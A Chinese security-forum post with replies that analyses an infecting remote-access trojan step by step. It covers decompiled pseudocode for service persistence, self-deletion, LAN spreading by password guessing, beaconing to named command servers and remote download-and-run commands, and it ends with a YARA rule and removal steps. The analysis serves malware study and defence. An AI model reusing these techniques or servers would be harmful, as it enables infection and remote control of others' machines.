看雪论坛
发新帖
1

[原创]从0分析一款经典的感染型远控木马

荒野猎人 2017-5-20 19:27 2226

          终于毕业考试完了 经过节奏紧张的培训,一直没有好好分析一个病毒或者一个完整的软件,用了4天时间,分析了一款经典的感染型远控木马,期间因为调试服务,调试DLL花费了不少时间 稍后整理完也会首发看雪,在咱们看雪已经潜水1年多了 之前一直觉得没什么有营养的东西可以和大家分享,希望这篇文章能给想分析病毒入门的童鞋带来帮助,水平有限,有不足的地方欢迎指点.

还有个同学跟我一起分析了 我没做流程图 此流程图由年轻帅气可爱的 老朱同学赞助:

流程图_start:

   病毒首先使用RegOpenKeyExW函数读取注册表中【HKEY_LOCAL_MACHINE\system\\CurrentControlset\\services\\Ghijkl Nopqrstu Wxy】

个键项如果键项不存在,则创建病毒的系统服务,流程图大体如下:






老朱同学的流程图 _end

1.1 样本信息

病毒名

3601.exe

样本大小

72KB

分析时间

2017-5-16

MD5:

96043b8dcc7a977b16a2892c4b38d87f

加壳情况:

UPX(3.07)

 

1.2 测试环境及工具

测试平台

虚拟机WIN7

使用工具

OLLYDEBUG+IDA6.8

 

LordPe

 

火绒剑

 

1.3 目标概述

病毒母体

3601.exe

96043b8dcc7a977b16a2892c4b38d87f

 

释放的文件

vmnfmc.exe

8a1716b566d20b77c20647d0f760b01c

随机字母组成

释放的DLL

Hra33.dll

 

资源文件 主要存放2个资源 服务名和病毒EXE

 

2.具体行为分析

2.1 主要行为

病毒母体

通过创建系统服务 释放文件(随机名称.exe)到系统目录,删除自身.释放的目标EXE服务的方式开机自启动.

释放的病毒

开启多线程进行 通过局域网共享病毒 连接服务器 进行病毒的自我更新 远程指令 等操作

释放的DLL

Hra33.dll 资源文件 主要存放2个资源 服务名和病毒EXE 具有感染文件的功能

远程服务器

Sbcq.f3322.org:9898     www.520123.xyz:9999  www.520520520.org:9426



2.1.1 恶意程序对用户造成的危害

将病毒程序通过弱密码感染到局域网主机 at 计划任务

从服务器下载任意EXE程序并运行

从服务器获得任意URL在本地打开

Vmnfmc.exe 释放 C:\WINDOWS\system32\hra33.dll并载入 创建三个线程

遍历到的是EXE文件则拷贝病毒模块文件lpk.dll到该EXE文件的文件目录下进行DLL劫持

如果上面对用户电脑的文件遍历 遍历到的是RAR或者ZIP格式的压缩包文件 则对压缩包里面的EXE文件进行DLL劫持 拷贝病毒模块文件lpk.dll到压缩包里的EXE文件目录下

如果当前运行的病毒模块不是病毒文件lpkdll则动态加载系统的lpk.dll并进行lpk.dll文件的初始化 dll直接转发的方式劫持系统文件lpk.dll做准备

 

2.2 恶意代码分析

Step 1. 将目标程序载入PEID 查看是USP的壳 利用ESP定律 
 

脱壳成功

Step 1.载入IDA分析 Main函数 为方便阅读 以下均是伪代码

       WSAStartup(0x202u, &WSAData);

if (Check_Server())                         // 判断是否有注册表服务是否存在

{

v7 = 0;

v8 = 0;

ServiceStartTable.lpServiceName = "Ghijkl Nopqrstu Wxy";

ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_40561A;

StartServiceCtrlDispatcherA(&ServiceStartTable);

}

else                                          // 母体病毒进入 开始初始化

{

Init_virs(

(int)"Ghijkl   Nopqrstu Wxy",

(int)"Ghijkl   Nopqrstu Wxyabcde Ghij",

(int)"Ghijklmn   Pqrstuvwx Abcdefg Ijklmnop Rst");

if (ReName)

{

DeleteSelf();

ExitProcess(0);

}

}

第一次打开病毒文件  会进入Init_virs

先载入各种操作服务和注册表的函数

GetModuleFileNameA(0u, &Filename, 0x104u);

GetWindowsDirectoryA(&Buffer, 0x104u);

Bufflen = strlen(&Buffer);

if (strncmp(&Buffer,   &Filename, Bufflen)) //判断是否需要重新生成一个病毒 名称是随机的

{

charA =   Get_Randchar(26u) + 'a';

charB =   Get_Randchar(26u) + 'a';

charC =   Get_Randchar(26u) + 'a';

charD =   Get_Randchar(26u) + 'a';

charE =   Get_Randchar(26u) + 'a';

charF =   Get_Randchar(26u);

wsprintfA(&strExeName, "%c%c%c%c%c%c.exe", charF + 'a',   charE, charD, charC, charB, charA);

mbscat(&Buffer, L"\\");

mbscat(&Buffer, &strExeName);

((void(__stdcall *)(CHAR *, CHAR *,   _DWORD))CopyFileA)(&Filename, &Buffer, 0);

memset(&Filename, 0, 0x104u);

mbscpy(&Filename,   &Buffer);

ReName = 1;

}

载入服务 修改服务描述 , 修改服务配置 , 开启服务等操作

if (ReName)

{

DeleteSelf();

ExitProcess(0);

}

DeleteSelf()函数实现细节

GetModuleFileNameA(0, &Filename,   0x104u);     // 获得当前EXE路径

GetShortPathNameA(&Filename,   &Filename, 0x104u);// 获得文件名

GetEnvironmentVariableA("COMSPEC", &Buffer, 0x104u);// 获取CMD的路径

((void(__stdcall *)(char *, const char *))lstrcatA)(&Shellcommand, "/c del ");

((void(__stdcall *)(char *, CHAR *))lstrcatA)(&Shellcommand, &Filename);

((void(__stdcall *)(char *, const char *))lstrcatA)(&Shellcommand, " > nul");// /c   del C:\xxxx\3601_U~1.EXE > nul

v19 = &v26;

v20 = &Buffer;

v16 = '<';

v18 = 0;

v26 = 'O';

v27 = 'p';

v28 = 'e';

v29 = 'n';

v30 = 0;

v21 =   &Shellcommand;

v22 = 0;

v23 = 0;

v17 = 64;

if (ShellExecuteEx(&v16))                   // 运行删除自身的指令

{

SetPriorityClass(hProcess, 64u);            // 设置线程优先级

hProcessa = GetCurrentProcess();

SetPriorityClass(hProcessa, 256u);

v2 = GetCurrentThread();

SetThreadPriority(v2, 15);

SHChangeNotify(SHCNE_DELETE, SHCNF_PATHA, &Filename, 0);// 删除当前进程的EXE程序

result = 1;

}

 

 这也就完成了 释放新病毒 删除自身的操作

刚刚分析的是病毒第一次运行的操作,现在进入病毒第二次运行的操作

ServiceStartTable.lpServiceName = "Ghijkl Nopqrstu Wxy";

ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_40561A;

StartServiceCtrlDispatcherA(&ServiceStartTable)

进入回到函数

先设置服务状态 后面加载当前函数需要使用的函数

木马程序主体框架结构:

if (CreatemutexA(0, 0, "Ghijkl   Nopqrstu Wxy")&& SetServiceStatus() == 183) // 创建互斥体  存在的话 服务退出

{

exit(0);

}

EnumResource_start();                         // 释放DLL资源到C:\WINDOWS\system32\hra33.dll

wsprintfA(&pFileName, "hra%u.dll", '!');

Insert_Result(&pFileName);                    // 打开hra33.dll  拷贝2个资源到到hra33.DLL 一个是服务名 一个是EXE自身

Load_hra33();                                 // 加载hra33.dll    具有DLL劫持功能 具体实现 EXE同目录创建一个LPK.DLL

CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Shared_exe_LAN, 0, 0, 0);// 通过密码库 正确的话 就将木马程序 共享局域网

Sleep(500u);

WSAStartup(0x202u, &WSAData);

CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_4051E0, 0, 0, 0);// 接受网络指令 服务器 Sbcq.f3322.org:9898

WSAStartup(0x202u, &WSAData);

CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_405241, 0, 0, 0);// 接受网络指令 服务器 www.520123.xyz:9999

while (1)

{

dword_409628 = New_Thread((LPTHREAD_START_ROUTINE)sub_40387C, 0);// // 接受网络指令 服务器 www.520520520.org:9426

WaitForSingleObject(0, 0xFFFFFFFF);

CloseHandle(0);

((void(__stdcall *)(_DWORD))closesocket)(0);

dword_401C84 = 1;

Sleep(0x12Cu);

}

先来分析下 Shared_exe_LAN 第一个线程做的事情

首先本地定义一些用户名和常用密码字典

 

if (!gethostname(&Sysname,   128))

{

v2 = gethostbyname(&Sysname);             // 传入当前电脑名称

v3 = v2;

v69 = v2;

if (v2)

{

v70 = 0;

if (*v2->h_addr_list)                 // 别名不为空

{

memset(&Dst, 0, 0x10u);

memcpy(&v66, *(const void **)v3->h_addr_list, v3->h_length);

strIP = 0;

dword_40961C = 1;

memset(&v11, 0, 124u);

v12 = 0;

v13 = 0;

while (1)                           // 开始遍历局域网用户 成功则为远程用户添加一个任务 用来执行本机的目标程序

{

dword_409624 = 0;

memset(&strIP, 0, 0x80u);

sprintf(&strIP, "%d.%d.%d.%d", v66, v67, v68, 0);// 得到  "192.168.32.1"

if ("administrator")

{

strBuff = (int *)&strUser;

do

{

if (&dword_409644)

{

strPwdBuff = (int *)&strPwd;

do

{

Sleep(200u);

Check_pwd((int)&strIP,   *strBuff, *strPwdBuff);// 传入IP 用户名  密码  通过IPC管道检测

++strPwdBuff;

} while (*strPwdBuff);

}

++strBuff;

} while (*strBuff);

}

 

Check_pwd 实现细节

 

总结:2个函数 可以循环遍历{局域网IP  通过自身的用户名 密码库} 进行传染

接下来 2 3 4线程执行的框架指令都差不多  只是连接的服务器不一样 细微区别 其他的都一样 线程3 用的服务器地址是BASE64解密后的地址

创建个线程 该线程成为僵尸线程.

继续深入.

         hSocket = Init_connect();                     // 网络初始化 连接 返回句柄

g_Socket = hSocket;

if (hSocket != -1)

{

Sock_Control(hSocket,   75);                  // 设置SOCKET的套接字模式

memset(&Dst, 0, 176u);

Get_SysInfo((int)&Dst);                     // 获取用户的电脑的操作系统的版本信息、CPU处理的频率和数目信息、系统的内存信息以、使用的网络流量的信息以及用户电脑从启动到现在的上线时间,准备将用户的这些信息发送给病毒作者。

if (Load_hra33() == 1)                    // 载入DLL

v52 += 2;

v53 += 3;

v54 += 4;

*(_DWORD *)buf = 176;

SwitchNumber = 0x77;

memcpy(SysInfo, &Dst, 176u);

if (send(g_Socket, buf, 184, 0) != -1)    // 将信息发送服务器  肉鸡已上线。。

 

加载URLDOWNTOFILEA 函数  等待死循环等待服务器的指令

 

 

 

这几个应该是一个自定义的结构体 无法还原  后面会一一用到  现在一个一个分析服务器都会发送哪些指令 来操作客户端

if (SwitchNumber > 6){ //搞事情. }

else { if (SwitchNumber == 6){ //搞事情too.    }           }

SWTICH 一个一个分析:

Case 5: //我猜测控制全局线程任务 避免损耗过大


 

case 2 3 都有不少混淆其他只有一个函数是正常的 篇幅有限 举个栗子:

 

 

case 2://根据网络传输的参数 指定连接某服务器地址 进行TCP连接 发垃圾包 关闭 循环自定义次数 break;

IDABUG SEND没显示出来,这个故事再次告诉我们F5大法也有问题


我猜测这就是传说中的网络攻击器的肉鸡?

 

case 3://根据网络传输的参数 运行系统路径下指定程序可以带参数 可以指定运行多少次 break;

只有这段代码是有效的 其他的都是垃圾指令  根据功能是来攻击当前机器的用户 ..想想自定义次数打开某个东西.

case 4://等待任务/  break;这个就没啥好看的 作者让用户机器暂时不接受任务.

case 5://猜测是控制全局线程任务 避免损耗过大 全局的BOOL值变量  break;   

case 6://关闭互斥体 删除注册表的值 删除自身   break;

 


 

case 16://根据网络传输的参数 保存到临时文件 然后打开运行 支持传参运行  break;

URLDOWNTOFILEA函数应该是如下图 IDA手残点错了 把参数给搞没了.^_^


case 18://更新本身病毒  下载 运行 删除自身  break;

 


case 20://根据网络传输的URL 打开IE浏览器进行弹窗  break;

 

 

 

 

 

3.解决方案(或总结)

3.1 提取病毒的特征,利用杀毒软件查杀

Ghijkl Nopqrstu Wxy 16进制字符串为 4768696a6b6c204e6f70717273747520577879

Yara规则配合ClamAV:

rule 3601Virs

{

    strings:

        $my_text_string = "Ghijkl   Nopqrstu Wxy"

        $my_hex_string = {47 68 69 6a 6b 6c   20 4e 6f 70 71 72 73 74 75 20 57 78 79 }

   

    condition:

        $my_text_string or $my_hex_string

}

 

 

 

3.2 手工查杀步骤 查杀思路

通过服务名称"Ghijkl Nopqrstu Wxy"   可以得到服务绑定的EXE程序

1.停止服务

2.删除注册表的键值

3.删除服务绑定的EXE windows目录下

4.找到system系统目录下 hra33.dll 删除

5.删除所有非system32目录下的lpk.dll

 

这个病毒不难 但是对于我们这种新手来说 需要花时间就能搞定了 此外 感谢15PB老师们的辛勤栽培!!!

HRA33.DLL完整分析 LPK.DLL 的劫持 和感染ZIP RAR 实现细节直通车

附件密码 pediy


上传的附件:
本主题帖已收到 1 次赞赏,累计¥1.00
最新回复 (14)
1
maxk 2017-5-20 19:42
2
大牛好厉害
1
黑手鱼 2017-5-20 19:42
3
支持老宋
1
荒野猎人 2017-5-20 19:43
4
共同学习  共同进步
lipss 2017-5-20 19:57
5
嘻嘻,前排围观加精贴!
1
荒野猎人 2017-5-20 20:02
6
lipss 嘻嘻,前排围观加精贴!
O(∩_∩)O谢谢
开花的水管 2017-5-20 21:29
7
嘻嘻,前排围观加精贴!
MaYil 2017-5-20 23:06
8
感谢分享
wyfe 2017-5-20 23:25
9
黑手鱼 支持老宋[em_63]
你们认识?
1
黑手鱼 2017-5-21 11:36
10
wyfe 你们认识?
同一个班的肯定啦
1
荒野猎人 2017-5-21 12:26
11
  第一次写这么长的分析  大神们    有什么建议么
1
黑手鱼 2017-5-24 22:14
12

睡觉别打呼噜

木志本柯 2017-5-25 17:29
13
我喜欢这排版的方式
1
荒野猎人 2017-5-25 21:25
14
木志本柯 我喜欢这排版的方式
O(∩_∩)O谢谢支持
KID基德 2017-7-17 22:59
15

您好,新手求教。为何我的IDA分析出来的结果不一样?我的IDA是在看学在下的6.8版本

  v9 = ((int (__stdcall *)(_DWORD, const char *))((char *)&byte_401060 + 108))("ADVAPI32.dll", "StartServiceA");

  v99 = (void (__stdcall *)(int, _DWORD, _DWORD))((int (__stdcall *)(_DWORD))((char *)&byte_401060 + 116))(v9);

  v10 = ((int (__stdcall *)(_DWORD, const char *))((char *)&byte_401060 + 108))("ADVAPI32.dll", "RegOpenKeyA");

  v87 = (void (__stdcall *)(signed int, char *, int *))((int (__stdcall *)(_DWORD))((char *)&byte_401060 + 116))(v10);

  v11 = ((int (__stdcall *)(_DWORD, const char *))((char *)&byte_401060 + 108))("ADVAPI32.dll", "UnlockServiceDatabase");

  v88 = (void (__stdcall *)(int))((int (__stdcall *)(_DWORD))((char *)&byte_401060 + 116))(v11);

  v12 = ((int (__stdcall *)(_DWORD, const char *))((char *)&byte_401060 + 108))("ADVAPI32.dll", "ChangeServiceConfig2A");

  v91 = (void (__stdcall *)(int, signed int, const char **))((int (__stdcall *)(_DWORD))((char *)&byte_401060 + 116))(v12);

  v13 = ((int (__stdcall *)(_DWORD, const char *))((char *)&byte_401060 + 108))("ADVAPI32.dll", "CreateServiceA");

  v104 = (int (__stdcall *)(int, int, int, signed int, signed int, signed int, signed int, char *, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))((int (__stdcall *)(_DWORD))((char *)&byte_401060 + 116))(v13);

  v14 = ((int (__stdcall *)(_DWORD, const char *))((char *)&byte_401060 + 108))("ADVAPI32.dll", "LockServiceDatabase");

  v100 = (int (__stdcall *)(int))((int (__stdcall *)(_DWORD))((char *)&byte_401060 + 116))(v14);

  ((void (__stdcall *)(_DWORD, char *, signed int))((char *)&byte_401060 + 104))(0, &Str2, 260);

  ((void (__stdcall *)(char *, signed int))((char *)&byte_401060 + 56))(&Str, 260);


上传的附件:
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 域名 加速乐 保护 | SSL证书 又拍云 提供 | 微信公众号:ikanxue
Time: 0.056, SQL: 12 / 京ICP备10040895号-17